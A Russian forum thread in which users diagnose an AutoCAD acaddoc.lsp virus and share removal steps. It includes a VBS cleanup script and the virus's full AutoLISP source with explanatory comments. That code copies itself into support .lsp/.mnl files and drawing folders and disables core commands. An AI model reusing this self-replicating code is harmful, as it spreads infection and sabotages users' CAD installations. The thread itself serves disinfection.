Тема: Появляется файл acaddoc.lsp

Открывал исходные данные сторонне организации. Теперь при открытии любого файла стал создаваться файл acaddoc.lsp, который находится в той же папке, где и файл. Кроме того, акад доходит до загрузки Express Tool, и дальше висит, пока не нажмешь Esc. Как избавиться от этого?
Акад 2007 рус.

Re: Появляется файл acaddoc.lsp

Очень похоже на вирус, или защиту файла. Нашел что-то похожее http://dwg.ru/f/archive/index.php/t-11732.html
Но пока не получается ничего. Прошу помощи!!!

Re: Появляется файл acaddoc.lsp

> Виталий
Есть такие нехорошие вирусы для AutoCAD-а распространяющиеся посредством файла "acaddoc.lsp", например, Virus.ALS.Pasdoc.a. Его видят многие антивирусы, его удаляют, НО вылечить от него AutoCAD не могут. Симптомы его работы - это зависание AutoCAD-а во время загрузки до нажатия  Esc, нарушение функциональности многих команд, размножение файлов "acaddoc.lsp" по всем папкам откуда открывались чертежи DWG. Переустановка AutoCAD-а приносит лишь кратковременный эффект. Но существует предлагаемый мною способ его удаления без переустановки AutoCAD-а; потребуется только дистрибутив той версии AutoCAD-а который у вас установлен, файловый менеджер, умение искать файлы с заданным текстом, способность понять нижеследующее ;)
Итак,
1. Глобальный поиск по всем дискам компьютера файла "acaddoc.lsp" и удаление его;
2. Ищем файлы в Program Files\AutoCAD 200x\Support\*.lsp с текстом "acaddoc.lsp" и заменяем их из дистрибутива (3d.lsp, 3darray.lsp, acad2009.lsp, acad2009doc.lsp, acadinfo.lsp, ai_utils.lsp, attredef.lsp, edge.lsp, mvsetup.lsp, sample-profile-util.lsp);
3. В папке Documents and Settings в подпапках ищем файлы *.mnl с текстом "acaddoc.lsp" и заменяем их из дистрибутива (acad.mnl, acetmain.mnl, AecArchXOE.mnl).
P. S. Чтобы заразиться этим вирусом, нужно просто открыть AutoCAD-ом любой файл DWG из папки где есть файл "acaddoc.lsp".

Re: Появляется файл acaddoc.lsp

> Виталий
По твоей ссылке в последнем посте ссылка на
Acaddoc.lsp вирус или нет?
Обрати внимание на #19 и #21

Re: Появляется файл acaddoc.lsp

> DPBOND
Именно так я и избавился от этой заразы.
Системщики потом сделали некие  файлики и лечили остальных... подробности не спрашивал.
acaddocold.lsp

;;;
;;;(setq flagx t)                ;вторая строка текста, по этой строке вирус будет сам себя идентифицировать
;;;(setq bz "(setq flagx t)")            ;создается глобальная строковая переменная bz содержащая значение второй строки
;;;(defun app(source target bz / flag flag1 wjm wjm1 text); функция дописывает в файл target все из файла source начиная с bz, если там еще нет этого кода
  (setq flag nil)                ;заначение flag в false
  (setq flag1 t)                ;значение flag1 в true
  (if (findfile target)                ;если файл target-цель из второго параметра функции существует
    (progn
      (setq wjm1 (open target "r"))        ;файл цель открывается для чтения
      (while (setq text (read-line wjm1))    ;пока не достигнут конец файла, просиходит чтение его строк
    (if (= text bz) (setq flag1 nil))    ;если очередная строка совпадает с третьим параметром bz функции flag1 устанавливается в false
    );while                    ;конец цикла
      (close wjm1)                ;закрывается файл цель
      );progn
    );if
  (if flag1                    ;если файл flag1 true
    (progn
      (setq wjm (open source "r"))        ;файл источник открывается для чтения
      (setq wjm1 (open target "a"))        ;файл цель открывается для добавления
      (write-line (chr 13) wjm1)        ;в цель дописывается число 13
      (while (setq text (read-line wjm))    ;пока источник не достиг конца, происходит чтение его строк
    (if (= text bz) (setq flag t))        ;если очередная строка совпадает с bz, flag устанавливается в true
    (if flag                ;если flag=true
      (progn    
        (write-line text wjm1)        ;считанная строка из источника записывается в цель
        );progn
      );if
    );while                    ;конец цикла
      (close wjm1)                ;закрывается файл цель
      (close wjm)                ;закрывается файл источник
      );progn
    );if
  );defun                    ;конец функции
(setvar "cmdecho" 0)                     ;сбрасывает переменную автокада cmdecho в 0 для того чтобы автокад не показывал что происходит дальше
(setq acadmnl (findfile "acad.mnl"))            ;ищет файл acad.mnl
(setq acadmnlpath (vl-filename-directory acadmnl))    ;выделяет путь к файлу acad.mnl
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) ;создает список всех файлов *.mnl расположенных по этому пути
(setq mnlnum (length mnlfilelist))            ;считает количество этих файлов
(setq acadexe (findfile "acad.exe"))            ;ищет файл acad.exe
(setq acadpath (vl-filename-directory acadexe))        ;выделяет путь к файлу acad.exe
(setq support (strcat acadpath "\\support"))        ;находит путь к папке support Автокада
(setq lspfilelist (vl-directory-files support "*.lsp")) ;создает список всех *.lsp файлов расположенных в папке support
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")));добавляет к списку файл acaddoc.lsp
(setq lspnum (length lspfilelist))            ;количество файлов lsp
(setq dwgname (getvar "dwgname"))            ;имя текущего чертежа
(setq dwgpath (findfile dwgname))            ;полный имя чертежа
(if dwgpath                        ;если чертеж реально существует, а не вновь создан, то
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))    ;выделяется путь к чертежу
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"));путь + acaddoc.lsp
    (setq mnln 0)                    ;счетчик .mnl файлов обнуляется
    (while (< mnln mnlnum)                ;пока счетчик меньше количества .mnl файлов выполняется следующий цикл
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)));создается полное имя очередного .mnl файла из списка
      (app mnlfilename acaddocfile bz)            ;дописывает в .mnl файл содержимое файла acaddoc.lsp начиная со строки bz
      (app acaddocfile mnlfilename bz)            ;дописывает в acaddoc.lsp файл содержимое файла .mnl начиная со строки bz
      (setq mnln (1+ mnln))                ;счетчик увеличивается на единицу
      );while                        ;конец цикла
    (setq lspn 0)                    ;счетчик .lsp файлов обнуляется
    (while (< lspn lspnum)                ;пока счетчик меньше количества .mnl файло выполняется следующий цикл
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)));создается полное имя очередного .mnl файла из списка
      (app lspfilename acaddocfile bz)            ;дописывает в .lsp файл содержимое файла acaddoc.lsp начиная со строки bz
      (app acaddocfile lspfilename bz)            ;дописывает в acaddoc.lsp файл содержимое файла .lsp начиная со строки bz
      (setq lspn (1+ lspn))                ;счетчик увеличивается на единицу
      );while                        ;конец цикла
    );progn
  );if                            ;конец условия
(setq mnln 0)                        ;счетчик .mnl файлов обнуляется
(while (< mnln mnlnum)                    ;пока счетчик меньше количества .mnl файлов выполняется следующий цикл
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)));создается полное имя очередного .mnl файла из списка
  (setq mnln1 0)                    ;счетчик mnln1 обнуляется
  (while (< mnln1 mnlnum)                ;пока счетчик mnln1 меньше количества .mnl файлов выполняется следующий цикл
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)));создается полное имя очередного .mnl файла из списка
    (app mnlfilename mnlfilename1 bz)            ;дописывает в .mnl файл содержимое всех файлов .mnl из списка начиная со строки bz
    (setq mnln1 (1+ mnln1))                ;счетчик mnln1 увеличивается на единицу
    );while                        ;конец вложенного цикла
  (setq lspn1 0)                    ;счетчик lspn1 обнуляется
  (while (< lspn1 lspnum)                ;пока счетчик lspn1 меньше количества .lsp файлов выполняется следующий цикл
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)));создается полное имя очередного .lsp файла из списка
    (app mnlfilename lspfilename1 bz)            ;дописывает во все файлы .lsp содержимое всех файла .mnl начиная со строки bz
    (setq lspn1 (1+ lspn1))                ;счетчик lspn1 увеличивается на единицу
    );while                        ;конец вложенного цикла
  (setq mnln (1+ mnln))                    ;счетчик mnln увеличивается на единицу
  );while                        ;конец цикла
(setq lspn 0)                        ;счетчик .lsp файлов обнуляется
(while (< lspn lspnum)                    ;пока счетчик меньше количества .lsp файлов выполняется следующий цикл
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)));создается полное имя очередного .lsp файла из списка
  (setq lspn1 0)                    ;счетчик lspn1 обнуляется
  (while (< lspn1 lspnum)                ;пока счетчик lspn1 меньше количества .lsp файлов выполняется следующий цикл
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)));создается полное имя очередного .lsp файла из списка
    (app lspfilename lspfilename1 bz)            ;дописывает в .lsp файл содержимое всех файлов .lsp из списка начиная со строки bz
    (setq lspn1 (1+ lspn1))                ;счетчик lspт1 увеличивается на единицу
    );while                        ;конец вложенного цикла
  (setq mnln1 0)                    ;счетчик mnln1 обнуляется
  (while (< mnln1 mnlnum)                ;пока счетчик mnln1 меньше количества .mnl файлов выполняется следующий цикл
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)));создается полное имя очередного .mnl файла из списка
    (app lspfilename mnlfilename1 bz)            ;дописывает во все файлы .mnl содержимое всех файла .lsp начиная со строки bz
    (setq mnln1 (1+ mnln1))                ;счетчик mnln1 увеличивается на единиц
    );while                        ;конец вложенного цикла
  (setq lspn (1+ lspn))                    ;счетчик lsp увеличивается на единиц
  );while                        ;конец цикла
(setvar "sdi" 1)                    ;включается однооконный режим автокада
(setvar "ACADLSPASDOC" 1)                ;переменная ACADLSPASDOC в единицу Загрузка файла acad.lsp в каждый открытый чертеж
(command "undefine" "line")                ;запрещает команду line
(command "undefine" "_line")                ;запрещает команду _line
(command "undefine" "xref")                ;запрещает команду xref
(command "undefine" "_xref")                ;запрещает команду _xref
(command "undefine" "explode")                ;запрещает команду explode
(command "undefine" "_explode")                ;запрещает команду _explode
(setvar "cmdecho" 1)                    ;разрешает вывод эха команд на экран

AntiVirus.vbs

strComputer = "."
BuferFile = "c:\bufer.txt"
Count = 0
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next
Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'mnr') or (Extension = 'mnc') or (Extension = 'mns')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
  oFSO.DeleteFile(objFile.Name)
 Next
Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next
'If Count>0 Then
 WScript.Echo "Вылечено " & Count & " файлов"
'End If

Re: Появляется файл acaddoc.lsp

При желании, можно самостоятельно отключать\включать автоматическую загрузку файлов acad*.lsp и acad*.fas. Подробности здесь.